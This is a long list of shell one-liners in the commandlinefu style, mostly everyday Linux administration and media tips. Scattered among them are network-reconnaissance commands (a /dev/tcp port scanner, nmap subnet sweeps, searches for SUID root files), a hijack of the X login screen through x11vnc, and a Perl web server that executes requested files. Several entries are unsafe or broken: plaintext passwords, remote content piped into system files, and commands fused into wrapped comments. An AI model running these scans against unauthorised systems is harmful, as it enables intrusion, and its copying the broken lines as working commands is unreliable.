# DVD ripping with ffmpeg
cat VIDEO_TS/VTS_01_[1234].VOB | nice ffmpeg -i - -s 512x384 -vcodec libtheora -acodec libvorbis ~/Videos/dvd_rip.ogg
# eth-tool summary of eth# devices
for M in 0 1 2 3 ; do echo eth$M ;/sbin/ethtool eth$M | grep -E "Link|Speed" ; done
# Take a screenshot of the focused window with a 4 second countdown
scrot -ucd4 -e 'eog $f'
# Update dyndns.org with your external IP.
curl -v -k -u user:password "https://members.dyndns.org/nic/update?hostname=<your_domain_name_here>&myip=$(curl -s http://checkip.dyndns.org | sed 's/[a-zA-Z<>/ :]//g')&wildcard=NOCHG&mx=NOCHG&backmx=NOCHG"
# Merge tarballs
cat 1.tar.gz 2.tar.gz > 3.tar.gz; tar zxvfi 3.tar.gz
# Create a file of a given size in linux
dd if=/dev/zero of=foo.txt bs=1M count=1
# Trick find -exec option to execute alias
find . -exec `alias foo | cut -d"'" -f2` {} \;
# Checks throughput between two nodes
cat /dev/zero | pv | ssh 192.168.1.2 "cat > /dev/null"
# Find the package a command belongs to on debian-based distros
apt-file search iostat
# Show sorted list of files with sizes more than 1MB in the current dir
du -hs * | grep '^[0-9,]*[MG]' | sort -rn
# Report all quota usage
quota -q $(cat /etc/passwd|cut -d ':' -f 1)
# Merge several pdf files into a single file
gs -q -sPAPERSIZE=a4 -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=out.pdf a.pdf b.pdf c.pdf
# Check a server is up. If it isn't mail me.
ping -q -c1 -w3 brandx.jp.sme 2&>1 /dev/null || echo brandx.jp.sme ping failed | mail -ne -s'Server unavailable' [email protected]
# Find all active ip's in a subnet
nmap -v -sP 192.168.0.0/16 10.0.0.0/8
# Check the status of a network interface
mii-tool [if]
# Skip over .svn directories when using the "find" command.
find . -not \( -name .svn -prune \)
# Virtual Console lock program
vlock
# Convert all .flac from a folder subtree in 192Kb mp3
find . -type f -iname '*.flac' | while read FILE; do FILENAME="${FILE%.*}"; flac -cd "$FILE" | lame -b 192 - "${FILENAME}.mp3"; done
# 'hpc' in the shell - starts a maximum of n compute commands modulo n controlle
d in parallel, using makeecho -n 'targets = $(subst .png,.jpg,$(wildcard *.png))\n$(targets):\n     convert $(subst .jpg,.png,$@) $@ \nall : $(targets)' | make -j 4 -f - all
# Monitor a file with tail with timestamps added
tail -f file | while read line; do echo -n $(date -u -Ins); echo -e "\t$line"; done
# list all file extensions in a directory
find . -type f | awk -F'.' '{print $NF}' | sort| uniq -c | sort -g
# return external ip
wget -O - -q icanhazip.com
# shutdown pc in a 4 hours
shutdown -h +240
# Remove a file whose name begins with a dash ( - ) character
rm ./-filename
# Recursively search for large files. Show size and location.
find . -size +100000k -exec du -h {} \;
# Create a tar of directory structure only
tar -cf ~/out.tar --no-recursion --files-from <(find . -type d)
# Want to known what time is it in another part of the world ?
TZ=Indian/Maldives date
# Change the case of a single word in vim
g~w
# Clean up display when the bash prompt is displayed
export PS1="\[\017\033[m\033[?9l\033[?1000l\]$PS1"
# Get International Space Station sighting information for your city
links -dump "http://spaceflight.nasa.gov/realdata/sightings/cities/view.cgi?country=United_States&region=Wisconsin&city=Portage" | sed -n '/--/,/--/p'
# Find and list users who talk like "lolcats"
cd ~/.purple/logs/; egrep -ri "i can haz|pwn|l33t|w00|zomg" * | cut -d'/' -f 3 | sort | uniq | xargs -I {} echo "Note to self: ban user '{}'"
# Get MX records for a domain
dig foo.org mx +short
# See a full last history by expanding logrotated wtmp files
( last ; ls -t /var/log/wtmp-2* | while read line ; do ( rm /tmp/wtmp-junk ; zcat $line 2>/dev/null || bzcat $line ) > /tmp/junk-wtmp ; last -f /tmp/junk-wtmp ; done ) | less
# Get size of terminal
resize
# Mount proc
mount -t proc{,,}
# Display calendar with specific national holidays and week numbers
gcal -K -q GB_EN 2009 # display holidays in UK/England for 2009 (with week numbers)
# Group OR'd commands where you expect only one to work
( zcat $FILE || gzcat $FILE || bzcat2 $FILE ) | less
# Display text as though it is being typed out in real time
echo "text to be displayed" | pv -qL 10
# Install a basic FreeBSD system
dd if=mfsbsd.iso | ssh distant.server dd of=/dev/sda
# bash script to zip a folder while ignoring git files and copying it to dropbox
git archive HEAD --format=zip > archive.zip
# Trigger a command each time a file is created in a directory (inotify)
inotifywait -mrq -e CREATE --format %w%f /path/to/dir | while read FILE; do chmod g=u "$FILE"; done
# convert filenames in current directory to lowercase
for i in *; do mv "$i" "$(echo $i|tr A-Z a-z)"; done
# Watch the disk fill up
watch -n 1 df
# Function to output an ASCII character given its decimal equivalent
chr () { printf \\$(($1/64*100+$1%64/8*10+$1%8)); }
# for loop with leading zero in bash 3
seq -s " " -w 3 20
# Convert text to uppercase
upper() { echo ${@^^}; }
# do a full file listing of every file found with locate
locate searchstring | xargs ls -l
# function to edit your history file
eh () { history -a ; vi ~/.bash_history ; history -r ; }
# Enter your ssh password one last time
cat .ssh/id_dsa.pub | ssh elsewhere "[ -d .ssh ] || mkdir .ssh ; cat >> .ssh/authorized_keys"
# Email yourself after a job is done
<command>; echo "job done"|mail [email protected] -s'job done'
# Date shows dates at other times/dates
date -d '2 weeks ago'
# Finding all files on local file system with SUID and SGID set
find / \( -local -o -prune \) \( -perm -4000 -o -perm -2000 \) -type f -exec ls -l {} \;
# Multi-line grep
perl -ne 'BEGIN{undef $/}; print "$ARGV\t$.\t$1\n" if m/(first line.*\n.*second line)/mg'
# Create a large test file (taking no space).
dd bs=1 seek=2TB if=/dev/null of=ext3.test
# Create a backup of file being edited while using vi
:!cp % %-
# Switch to a user with "nologin" shell
sudo -u username bash
# Repeatedly purge orphaned packages on Debian-like Linuxes
while [ $(deborphan | wc -l) -gt 0 ]; do dpkg --purge $(deborphan); done
# cleanup /tmp directory
find /tmp -type f -atime +1 -delete
# Use a Gmail virtual disk (GmailFS) on Ubuntu
mount.gmailfs none /mount/path/ [-o username=USERNAME[,password=PASSWORD][,fsname=VOLUME]] [-p]
# Getting Screen's Copy Buffer Into X's Copy Buffer (on Linux)
Type "c-a b" in gnu screen after updating your .screenrc (See Description below).
# tail, with specific pattern colored
tail -F file | egrep --color 'pattern|$'
# dump a single table of a database to file
mysqldump -u UNAME -p DBNAME TABLENAME> FILENAME
# trace the system calls made by a process (and its children)
strace -f -s 512 -v ls -l
# Enable automatic typo correction for directory names
shopt -s cdspell
# Easily decode unix-time (funtion)
utime { date -d @$1; }
# FizzBuzz one-liner in Python
python -c'for i in range(1,101):print"FizzBuzz"[i*i%3*4:8--i**4%5]or i'
# Query Wikipedia via console over DNS
mwiki () { blah=`echo $@ | sed -e 's/ /_/g'`; dig +short txt $blah.wp.dg.cx; }
# List programs with open ports and connections
netstat -ntauple
# Preserve colors when piping tree to less
tree -C | less -R
# duration of the DNS-query
server=8.8.8.8; host="apple.com"; queries=128; for i in `seq $queries`; do let x+=`dig @${server} $host | grep "Query time" | cut -f 4 -d " "`; done && echo "scale=3;($x/${queries})" | bc
# Short Information about loaded kernel modules
modinfo $(cut -d' ' -f1 /proc/modules) | sed '/^dep/s/$/\n/; /^file\|^desc\|^dep/!d'
# Upload a video to youtube
google youtube post --title "My\ Video" --category Education ~/myvideo.avi
# tee to a file descriptor
tee >(cat - >&2)
# Block the 6700 worst spamhosts
wget -q -O - http://someonewhocares.org/hosts/ | grep ^127 >> /etc/hosts
# Show numerical values for each of the 256 colors in bash
for i in {0..255}; do echo -e "\e[38;05;${i}m${i}"; done | column -c 80 -s '  '; echo -e "\e[m"
# Auto Get Missing Launchpad Keys
sudo apt-get update 2> /tmp/keymissing; for key in $(grep "NO_PUBKEY" /tmp/keymissing |sed "s/.*NO_PUBKEY //"); do echo -e "\nProcessing key: $key"; gpg --keyserver pool.sks-keyservers.net --recv $key && gpg --export --armor $key |sudo apt-key add -; done
# Find all files of a type and copy them elsewhere while keeping intact their fu
ll directory structure using find and cpiofind . -iname "*.flac" | cpio -pdm /Volumes/Music/FLAC
# print all except first collumn
awk '{$1=""; print}'
# Take screenshot through SSH
xwd -root -display :0.0| xwdtopnm | pnmtopng > Screenshot.png
# Get Futurama quotations from slashdot.org servers
curl -Is slashdot.org | sed -n '5p' | sed 's/^X-//'
# Apache memory usage
ps auxf | grep httpd | grep -v grep | grep -v defunct | awk '{sum=sum+$6}; END {print sum/1024}'
# Sort IPV4 ip addresses
sort -t. -k1,1n -k2,2n -k3,3n -k4,4n
# fuman, an alternative to the 'man' command that shows commandlinefu.com exampl
esfuman(){ lynx -width=$COLUMNS -nonumbers -dump "http://www.commandlinefu.com/commands/using/$1" |sed '/Add to favourites/,/This is sample output/!d' |sed 's/ *Add to favourites/----/' |less -r; }
# Short Information about loaded kernel modules
awk '{print $1}' "/proc/modules" | xargs modinfo | awk '/^(filename|desc|depends)/'
# List processes playing sound
lsof | grep pcm
# Plot frequency distribution of words from files on a terminal.
cat *.c | { printf "se te du\nplot '-' t '' w dots\n"; tr '[[:upper:]]' '[[:lower:]]' | tr -s [[:punct:][:space:]] '\n' | sort | uniq -c | sort -nr | head -n 100 | awk '{print $1}END{print "e"}'; } | gnuplot
# Avoiding history file to be overwritten
shopt -s histappend
# Fix "broken" ID3 tags in the current directory and subdirectories
find -iname '*mp3' -exec mid3iconv {} \;
# Big Countdown Clock with hours, minutes and seconds
watch -tn1 'date +%r | figlet'
# renice by name
renice +5 -p $(pidof <process name>)
# When was your OS installed?
ls -lct /etc/ | tail -1 | awk '{print $6, $7, $8}'
# open a seperate konsole tab and ssh to each of  N  servers (konsole 4.2+)
for i in $(cat listofservers.txt); do konsole --new-tab -e ssh $i; done
# Watch how fast the files in a drive are being deleted
watch "df | grep /path/to/drive"
# Gets the last string of previous command with !$
$mkdir mydir -> mv !$ yourdir -> $cd !$
# Restore mysql database uncompressing on the fly.
zcat database.sql.gz | mysql -uroot -p'passwd' database
# Runs a command without hangups.
screen -d -m command &
# Determine an image's dimensions
identify -format "%wx%h" /path/to/image.jpg
# Quicker move to parent directory
alias ..='cd ..'
# Disable the ping response
sudo -s "echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all"
# Filter IPs out of files
egrep -o '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' file.txt
# print date 24 hours ago
date --date=yesterday
# How much RAM is Apache using?
ps -o rss -C httpd | tail -n +2 | (sed 's/^/x+=/'; echo x) | bc
# Quick command line math
expr 512 \* 7
# backup your entire hosted website using cPanel backup interface and wget
wget --http-user=YourUsername --http-password=YourPassword http://YourWebsiteUrl:2082/getbackup/backup-YourWebsiteUrl-`date +"%-m-%d-%Y"`.tar.gz
# Zip a directory on Mac OS X and ignore .DS_Store (metadata) directory
zip -vr example.zip example/ -x "*.DS_Store"
# Introduction to user commands
man intro
# List only executables installed by a debian package
dpkg -L iptables | perl -lne 'print if -f && -x'
# Connect via sftp to a specific port
sftp -oPort=3476 user@host
# Lock the hardware eject button of the cdrom
eject -i 1
# Capitalize first letter of each word in a string
echo 'fOo BaR' | tr '[A-Z]' '[a-z]' | sed 's/\(^\| \)\([a-z]\)/\1\u\2/g'
# count and number lines of output, useful for counting number of matches
ps aux | grep [a]pache2 | nl
# Sort files by size
ls -l | sort -nk5
# Randomize lines in a file
awk 'BEGIN{srand()}{print rand(),$0}' SOMEFILE | sort -n | cut -d ' ' -f2-
# Restart command if it dies.
ps -C program_name || { program_name & }
# delete duplicate lines from a file and keep the order of the other lines
cat -n <file> | sort -k 2 | uniq -f 1 | sort -n | cut -f 2-
# Delete line number 10 from file
sed -i '10d' <somefile>
# Cap apt-get download speed
sudo apt-get -o Acquire::http::Dl-Limit=25 install <package>
# HTTP redirect
while [ 0 ]; do echo -e "HTTP/1.1 302 Found\nLocation: http://www.whatevs.com/index.html" | nc -vvvv -l -p 80; done
# Sniffing network to generate a pcap file in CLI mode on a remote host and open
 it via local Wireshark ( GUI ).tcpdump -v -i <INTERFACE> -s 0 -w /tmp/sniff.pcap port <PORT> # On the remote side
# Find unused IPs on a given subnet
fping -r1 -g <subnet> 2> /dev/null | grep unreachable | cut -f1 -d' '
# Create a zip archive excluding all SVN folders
zip -r myfile.zip * -x \*.svn\*
# watch iptables counters
watch 'iptables -vL'
# Clone IDE Hard Disk
sudo dd if=/dev/hda1 of=/dev/hdb2
# scan folder to check syntax error in php files
find . -name "*.php" -exec php -l {} \;
# remove empty lines
sed '/^$/d'
# Show exit status of all portions of a piped command eg. ls |this_doesn't_exist
 |wcecho ${PIPESTATUS[@]}
# Play musical notes from octave of middle C
man beep | sed -e '1,/Note/d; /BUGS/,$d' | awk '{print $2}' | xargs -IX sudo beep -f X -l 500
# Locking and unlocking files and mailboxes
lockfile
# Rotate a single page PDF by 180 degrees
pdftk in.pdf cat 1S output out.pdf
# Undo several commits by committing an inverse patch.
git diff HEAD..rev | git apply --index; git commit
# Colorize matching string without skipping others
egrep --color=auto 'usb|' /var/log/messages
# Edit your command in vim ex mode by &lt;ctrl-f&gt;
<ctrl-f> in ex mode in vim
# Type a random string into a X11 window
sleep 3 && xdotool type --delay 0ms texthere
# Fast file backup
cp filename{,.`date +%Y%m%d`}
# connect to X login screen via vnc
x11vnc -display :0 -auth $(ps -ef|awk '/xauth/ {print $15}'|head -1) -forever -bg &
# convert ascii string to hex
echo $ascii | perl -ne 'printf "%x", ord for split //'
# PDF simplex to duplex merge
pdftk A=odd.pdf B=even.pdf shuffle A1-end Bend-1S output duplex.pdf
# cat large file to clipboard with speed-o-meter
pv large.xml | xclip
# Make a thumbnail image of first page of a PDF.
convert -resize 200 -sharpen 40 some_file.pdf[0] some_file.jpg
# Who invoked me? / Get parent command
ps -o comm= -p $(ps -o ppid= -p $$)
# Another Matrix Style Implementation
echo -ne "\e[32m" ; while true ; do echo -ne "\e[$(($RANDOM % 2 + 1))m" ; tr -c "[:print:]" " " < /dev/urandom | dd count=1 bs=50 2> /dev/null ; done
# Numerically sorted human readable disk usage
du -x --max-depth=1 | sort -n | awk '{ print $2 }' | xargs du -hx --max-depth=0
# monitor a tail -f command with multiple processes
tail -f somefile |tee >(grep --line-buffered '1' > one.txt) |tee >(grep --line-buffered '2' > two.txt)
# Add a GPL license file to your project
wget -O LICENSE.txt http://www.gnu.org/licenses/gpl-3.0.txt
# See your current RAM frequency
/usr/sbin/dmidecode | grep -i "current speed"
# Find UTF-8 text files misinterpreted as ISO 8859-1 due to Byte Order Mark (BOM
) of the Unicode Standard.find . -type f | grep -rl $'\xEF\xBB\xBF'
# A command to post a message to Twitter that includes your geo-location and a s
hort URL.curl --user "USERNAME:PASSWORD" -d status="MESSAGE_GOES_HERE $(curl -s tinyurl.com/api-create.php?url=URL_GOES_HERE) $(curl -s api.hostip.info/get_html.php?ip=$(curl ip.appspot.com))" -d source="cURL" twitter.com/statuses/update.json -o /dev/null
# Create a persistent remote Proxy server through an SSH channel
ssh -fND localhost:PORT USER@SERVER
# Extract all of the files on an RPM on a non-RPM *nix
rpm2cpio package.rpm |cpio -dimv
# get a desktop notification from the terminal
alias z='zenity --info --text="You will not believe it, but your command has finished now! :-)" --display :0.0'
# Extract tarball from internet without local saving
wget -O - http://example.com/a.gz | tar xz
# Open up a man page as PDF (#OSX)
function man2pdf(){ man -t ${1:?Specify man as arg} | open -f -a preview; }
# Retrieve top ip threats from http://isc.sans.org/sources.html and add them int
o iptables output chain.curl -s http://isc.sans.org/sources.html|grep "ipinfo.html"|awk -F"ip=" {'print $2'}|awk -F"\"" {'print $1'}|xargs -n1 sudo iptables -A OUTPUT -j DROP -d > 2&>1
# count processes with status "D" uninterruptible sleep
top -b -n 1 | awk '{if (NR <=7) print; else if ($8 == "D") {print; count++} } END {print "Total status D: "count}'
# Create AUTH PLAIN string to test SMTP AUTH session
printf '\!:1\0\!:1\0\!:2' | mmencode | tr -d '\n' | sed 's/^/AUTH PLAIN /'
# for all who don't have the watch command
watch() { while test :; do clear; date=$(date); echo -e "Every "$1"s: $2 \t\t\t\t $date"; $2; sleep $1; done }
# syncronizing datas beetween two folder (A and B) excluding some directories in
 A (dir1 and dir2)rsync -av --ignore-existing --exclude="dir1" --exclude="dir2" /pathA /pathB
# Set laptop display brightness
echo <percentage> > /proc/acpi/video/VGA/LCD/brightness
# Monitor logs in Linux using Tail
find /var/log -type f -exec file {} \; | grep 'text' | cut -d' ' -f1 | sed -e's/:$//g' | grep -v '[0-9]$' | xargs tail -f
# convert (almost) any image into a video
ffmpeg -loop_input -f image2 -r 30000/1001 -t $seconds -i frame/$num.ppm -y frame/%02d.mpeg 2>/dev/null
# whowatch: Linux and UNIX interactive, process and users monitoring tool
whowatch
# Simultaneously running different Firefox profiles
firefox -P <profile_name> -no-remote
# a fast way to repeat output a byte
tr '\0' '\377' < /dev/zero|dd count=$((<bytes>/512))
# Display all readline binding that use CTRL
bind -p | grep -F "\C"
# Display a block of text with AWK
sed -n /start_pattern/,/stop_pattern/p file.txt
# automount samba shares as devices in /mnt/
sudo vi /etc/fstab; Go//smb-share/gino /mnt/place smbfs defaults,username=gino,password=pass 0 0<esc>:wq; mount //smb-share/gino
# SH
shmore(){ local l L M="`echo;tput setab 4&&tput setaf 7` --- SHMore --- `tput sgr0`";L=2;while read l;do echo "${l}";((L++));[[ "$L" == "${LINES:-80}" ]]&&{ L=2;read -p"$M" -u1;echo;};done;}
# ps a process keeping the header info so you know what the columns of numbers m
ean!ps auxw |egrep "PID|process_to_look_at"
# Get line number of all matches in a file
awk '/match/{print NR}' file
# get xclip to own the clipboard contents
xclip -o -selection clipboard | xclip -selection clipboard
# Get the full path to a file
realpath examplefile.txt
# ignore hidden directory in bash completion (e.g.  .svn)
bind 'set match-hidden-files off'
# Binary clock
read -a A<<<".*.**..*....*** 8 9 5 10 6 0 2 11 7 4";for C in `date +"%H%M"|fold -w1`;do echo "${A:${A[C+1]}:4}";done
# Upload folder to imageshack.us (forum)
imageshack() { for files in *; do curl -H Expect: -F fileupload="@$files" -F xml=yes -# "http://www.imageshack.us/index.php" | grep image_link | sed -e 's/<image_link>/[IMG]/g' -e 's/<\/image_link>/[\/IMG]/g'; done; }
# Show the date of easter
ncal -e
# Streaming HTML5 video to icecast server using dvgrab, ffmpeg2theora and oggfwd
dvgrab --format raw - | tee dvstream.dv | ffmpeg2theora -A 45 -V 400 -c 1 -f dv -x 360 -y 288 -o /dev/stdout - | tee savelivestream.ogv | oggfwd -p -d "Stream description" -n "Streamname" my.icecastserver.com 80 icecastpassword /stream.ogv
# tar and remove files which are older that 100 days
find . -type f -mtime +100 -exec tar rvf my.tar --remove-files {} \;
# Place the NUM-th argument of the most recent command on the shell
<ALT>+<.> or <ALT>+<NUM>+<.> or <ALT>+<NUM>,<ALT>+<.>
# gpg encrypt a file
gpg --encrypt --recipient 'Foo Bar' foo.txt
# Convert the output of one or more (log, source code ...) files into html,
enscript -E --color -t "title" -w html --toc -p /PATH/to/output.html /var/log/*log
# Stop or Start (Restart) a Windows service from a Linux machine
net rpc -I ADDRESS -U USERNAME%PASSWORD service {stop|start} SVCNAME
# Scale,Rotate, brightness, contrast,...with Image Magick
convert -rotate $rotate -scale $Widthx$Height -modulate $brightness -contrast $contrast -colorize $red%,$green%,$blue% $filter file_in.png file_out.png
# Rip DVD to YouTube ready MPEG-4 AVI file using mencoder
mencoder -oac mp3lame -lameopts cbr=128 -ovc lavc -lavcopts vcodec=mpeg4 -ffourcc xvid -vf scale=320:-2,expand=:240:::1 -o output.avi dvd://0
# Google URL shortener
googl () { curl -s -d "url=${1}" http://goo.gl/api/url | sed -n "s/.*:\"\([^\"]*\).*/\1\n/p" ;}
# Extract extention of a file
filext () { echo ${1##*.}; }
# Start another X session in a window
startx -- /usr/bin/Xephyr :2
# Quick key/value display within /proc or /sys
grep -r . /sys/class/net/eth0/statistics
# Watch active calls on an Asterisk PBX
watch -n 1 "sudo asterisk -vvvvvrx 'core show channels' | grep call"
# show framebuffer console modes to use in grub vga option
sudo hwinfo --framebuffer
# remote diff with side-by-side ordering.
ssh $HOST -l$USER cat /REMOTE/FILE | sdiff /LOCAL/FILE -
# Indent a one-liner.
declare -f <function name>
# Convert Unix newlines to DOS newlines
sed 's/$/<ctrl+v><ctrl+m>/'
# Show established network connections
lsof -i | grep -i estab
# Install your ssh key file on a remote system
ssh user@remote 'cat >> ~/.ssh/authorized_keys2' < ~/.ssh/id_rsa.pub
# Convert video files to XviD
mencoder "$1" -ofps 23.976 -ovc lavc -oac copy -o "$1".avi
# Sort your music
for file in *.mp3;do mkdir -p "$(mp3info -p "%a/%l" "$file")" && ln -s "$file" "$(mp3info -p "%a/%l/%t.mp3" "$file")";done
# Disable beep sound from your computer
echo "blacklist pcspkr"|sudo tee -a /etc/modprobe.d/blacklist.conf
# Create an easy to pronounce shortened URL from CLI
shout () { curl -s "http://shoutkey.com/new?url=$1" | sed -n 's/\<h1\>/\&/p' | sed 's/<[^>]*>//g;/</N;//b' ;}
# Sort on multiple dis-contiguous keys/fields (can even specify key number/field
 from the end)file /bin/* | msort -j -l -n-1 -n2 2> /dev/null
# Remove today's installed packages
grep "install " /var/log/dpkg.log | awk '{print $4}' | xargs apt-get -y remove --purge
# Which fonts are installed?
fc-list | cut -d ':' -f 1 | sort -u
# Print number of mb of free ram
grep '^MemFree:' /proc/meminfo | awk '{ mem=($2)/(1024) ; printf "%0.0f MB\n", mem }'
# Random line from bash.org  (funny IRC quotes)
curl -s http://bash.org/?random1|grep -oE "<p class=\"quote\">.*</p>.*</p>"|grep -oE "<p class=\"qt.*?</p>"|sed -e 's/<\/p>/\n/g' -e 's/<p class=\"qt\">//g' -e 's/<p class=\"qt\">//g'|perl -ne 'use HTML::Entities;print decode_entities($_),"\n"'|head -1
# Enable cd by variable names
shopt -s cdable_vars
# copy/mkdir and automatically create parent directories
cp --parents /source/file /target-dir
# Find the processes that are on the runqueue.  Processes with a status of
ps -eo stat,pid,user,command | egrep "^STAT|^D|^R"
# Edit file(s) that has been just listed
vi `!!`
# Using the urxvt terminal daemon
urxvtd -q -o -f
# fix broken permissions
find /path -type d -perm 777 -exec chmod 755 {} \;
# Detach a process from the current shell
ping -i1 www.google.com &> /dev/null & disown
# Show all machines on the network
nmap 192.168.0-1.0-255 -sP
# pretend to be busy in office to enjoy a cup of coffee
while [ true ]; do head -n 100 /dev/urandom; sleep .1; done | hexdump -C | grep "ca fe"
# bulk dl files based on a pattern
curl -O http://hosted.met-art.com/generated_gallery/full/061606AnnaUkrainePasha/met-art-free-sample-00[00-19].jpg
# Remove EXIF data from images with progress
i=0; f=$(find . -type f -iregex ".*jpg");c=$(echo $f|sed "s/ /\n/g"| wc -l);for x in $f;do i=$(($i + 1));echo "$x $i of $c"; mogrify -strip $x;done
# Batch resize all images in the current directory that are bigger than 800px, h
eight or weight.mogrify -resize 800\> *
# Print a random 8 digit number
jot -r -n 8 0 9 | rs -g 0
# YES = NO
yes n
# Change prompt to MS-DOS one (joke)
export PS1="C:\$( pwd | sed 's:/:\\\\\:g' )> "
# Recursively remove all subversion folders
find . -name .svn  -exec rm \-rf {} \;
# Record your desktop
xvidcap --file filename.mpeg --fps 15 --cap_geometry 1680x1050+0+0 --rescale 25 --time 200.0 --start_no 0 --continue yes --gui no --auto
# list your device drivers
lspci -vv
# en/decrypts files in a specific directory
for a in path/* ; do ccenrypt -K <password> $a; done
# Get Lorum Ipsum random text from lorumipsum.com
lynx -source http://www.lipsum.com/feed/xml?amount=3|perl -p -i -e 's/\n/\n\n/g'|sed -n '/<lipsum>/,/<\/lipsum>/p'|sed -e 's/<[^>]*>//g'
# lsof equivalent on solaris
/usr/proc/bin/pfiles $PID
# Simplest  port scanner
for p in {1..1023}; do(echo >/dev/tcp/localhost/$p) >/dev/null 2>&1 && echo "$p open"; done
# Generate diff of first 500 lines of two files
diff <(head -500 product-feed.xml) <(head -500 product-feed.xml.old)
# Create md5sum of files under the current dir excluding some directories
find . -type d \( -name DIR1 -o -name DIR2 \) -prune -o -type f -print0 | xargs -r0 md5sum
# Postpone a command [zsh]
<alt+q>
# find all non-html files
find . -type f ! -name "*html"
# Print a date from 3 days ago
TZ=PST8PDT+72 date '+%Y_%m_%d'
# git remove files which have been deleted
git ls-files -z --deleted | xargs -0 git rm
# Boot another OS at next startup
echo "savedefault --default=2 --once" | grub --batch; sudo reboot
# Blank/erase a DVD-RW
dvd+rw-format -force /dev/dvd1
# Change display resolution
xrandr -s 1280x1024
# Batch rename extension of all files in a folder, in the example from .txt to .
mdrename 's/.txt/.md/i' *
# For a $FILE, extracts the path, filename, filename without extension and exten
sion.FILENAME=${FILE##*/};FILEPATH=${FILE%/*};NOEXT=${FILENAME%\.*};EXT=${FILE##*.}
# Extract audio from start to end position from a video
mplayer -vc null -vo null -ao pcm <input video file> -ss <start> -endpos <end>
# Find a CommandlineFu users average command rating
wget -qO- www.commandlinefu.com/commands/by/PhillipNordwall | awk -F\> '/num-votes/{S+=$2; I++}END{print S/I}'
# Compress files found with find
find ~/bin/ -name "*sh" -print0 | xargs -0t tar -zcvf foofile.tar.gz
# Identify name and resolution of all jpgs in current directory
identify  -verbose *.jpg|grep "\(Image:\|Resolution\)"
# Format ps command output
ps ax -o "%p %U %u %x %c %n"
# Start another instance of X via SSH
startx -- /usr/X11R6/bin/Xnest :5 -geometry 800x600
# Monitor cpu freq and temperature
watch --interval 1 "cat /proc/acpi/thermal_zone/THRM/*; cat /proc/cpuinfo | grep MHz; cat /proc/acpi/processor/*/throttling"
# Empty a file
> foobar.txt
# Show latest changed files
ls -ltcrh
# Search for a word in less
\bTERM\b
# Print out a man page
man -t man | lp
# Skip filenames with control characters, a.k.a tab,newline etc
find . ! -name "$(printf '*[\001-\037\177]*')"
# View non-printing characters with cat
cat -v -t -e
# get the latest version
mirror=ftp://somemirror.com/with/alot/versions/but/no/latest/link; latest=$(curl -l $mirror/ 2>/dev/null | grep util | tail -1); wget $mirror/$latest
# Go to parent directory of filename edited in last command
cd `dirname $_`
# Convert encoding of given files from one encoding to another
iconv -f utf8 -t utf16 /path/to/file
# show all established tcp connections on os x
lsof -iTCP -sTCP:ESTABLISHED | awk '{print $1}' | sort -u
# for newbies, how to get one line info about all /bin programs
ls -1 /bin | xargs -l1 whatis 2>/dev/null | grep -v "nothing appropriate"
# Realtime apache hits per second
tail -f access_log | cut -c2-21 | uniq -c
# Setup a persistant SSH tunnel w/ pre-shared key authentication
autossh -f -i /path/to/key -ND local-IP:PORT User@Server
# restore the contents of a deleted file for which a descriptor is still availab
leN="filepath" ; P=/proc/$(lsof +L1 | grep "$N" | awk '{print $2}')/fd ; ls -l $P | sed -rn "/$N/s/.*([0-9]+) ->.*/\1/p" | xargs -I_ cat $P/_ > "$N"
# Sum columns from CSV column $COL
perl  -ne 'split /,/ ; $a+= $_[3]; END {print $a."\n";}' -f ./file.csv
# A bit of privacy in .bash_history
export HISTCONTROL=ignoreboth
# scp a good script from host A which has no public access to host C, but with a
 hop by host Bcat nicescript |ssh middlehost "cat | ssh -a root@securehost 'cat > nicescript'"
# Compute running average for a column of numbers
awk '{avg += ($1 - avg) / NR;} END { print avg; }'
# Chage default shell for all users [FreeBSD]
cd /usr/home && for i in *;do chsh -s bash $i;done
# Avoids ssh timeouts by sending a keep alive message to the server every 60 sec
ondsecho 'ServerAliveInterval 60' >> /etc/ssh/ssh_config
# Auto download Ubuntu 10.04 LTS with super fast zsync
mv ubuntu-10.04-rc-desktop-amd64.iso ubuntu-10.04-desktop-amd64.iso; i=http://releases.ubuntu.com/10.04/ubuntu-10.04-desktop-amd64.iso.zsync; while true; do if wget $i; then zsync $i; date; break; else sleep 30; fi; done
# get the top 10 longest filenames
find | sed -e "s/^.*\///" | awk ' BEGIN { FS=""} { print NF "  " $0  } ' | sort -nrf | head -10
# Count to 65535 in binary (for no apparent reason)
a=`printf "%*s" 16`;b=${a//?/{0..1\}}; echo `eval "echo $b"`
# zsh only: access a file when you don't know the path, if it is in PATH
file =top
# Copy ssh keys to user@host to enable password-less ssh logins.
ssh-copy-id user@host
# Get all mac address
ifconfig | awk '/HWaddr/ { print $NF }'
# Run a command for a given time
very_long_command& sleep 10; kill $!
# Get the absolute path of a file
absolute_path () { readlink -f "$1"; };
# Delete files older than..
find /dir_name -mtime +5 -exec rm {} \
# Get a MySQL DB dump from a remote machine
ssh user@host "mysqldump -h localhost -u mysqluser -pP@$$W3rD databasename | gzip -cf" | gunzip -c > database.sql
# Makes the permissions of file2 the same as file1
getfacl file1 | setfacl --set-file=- file2
# Add existing user to a group
usermod -a -G groupname username
# Perl Simple Webserver
perl -MIO::All -e 'io(":8080")->fork->accept->(sub { $_[0] < io(-x $1 ? "./$1 |" : $1) if /^GET \/(.*) / })'
# Send an http HEAD request w/curl
curl -I http://localhost
# Remove color codes (special characters) with sed
sed -r "s/\x1B\[([0-9]{1,3}((;[0-9]{1,3})*)?)?[m|K]//g
# Trace a DNS query from root to the authoritive servers.
dig +trace google.com
# vimdiff to remotehost
vimdiff tera.py <(ssh -A testserver "cat tera.py")
# Find files with root setuids settings
sudo find / -user root -perm -4000 -print
# Mac Sleep Timer
sudo pmset schedule sleep "08/31/2009 00:00:00"
# take a look to command before action
find /tmp -type f -printf 'rm "%p";\n'
# Create a self-extracting archive for win32 using 7-zip
cat /path/to/7z.sfx /path/to/archive > archive.exe
# get time in other timezones
tzwatch
# Find out which debian package a command (executable) belongs to on debian-base
d distrosfunction whichpkg() { readlink -f "$(which $1)" | xargs --no-run-if-empty dpkg -S; }
# Find all the files more than 10MB, sort in descending order of size and record
 the output of filenames and size in a text file.find . -size +10240k -exec ls -l {} \; | awk '{ print $5,"",$9 }'|sort -rn > message.out
# Tweak system files without invoking a root shell
echo "Whatever you need" | sudo tee [-a] /etc/system-file.cfg
# Change the ownership of all files owned by one user.
find /home -uid 1056 -exec chown 2056 {} \;
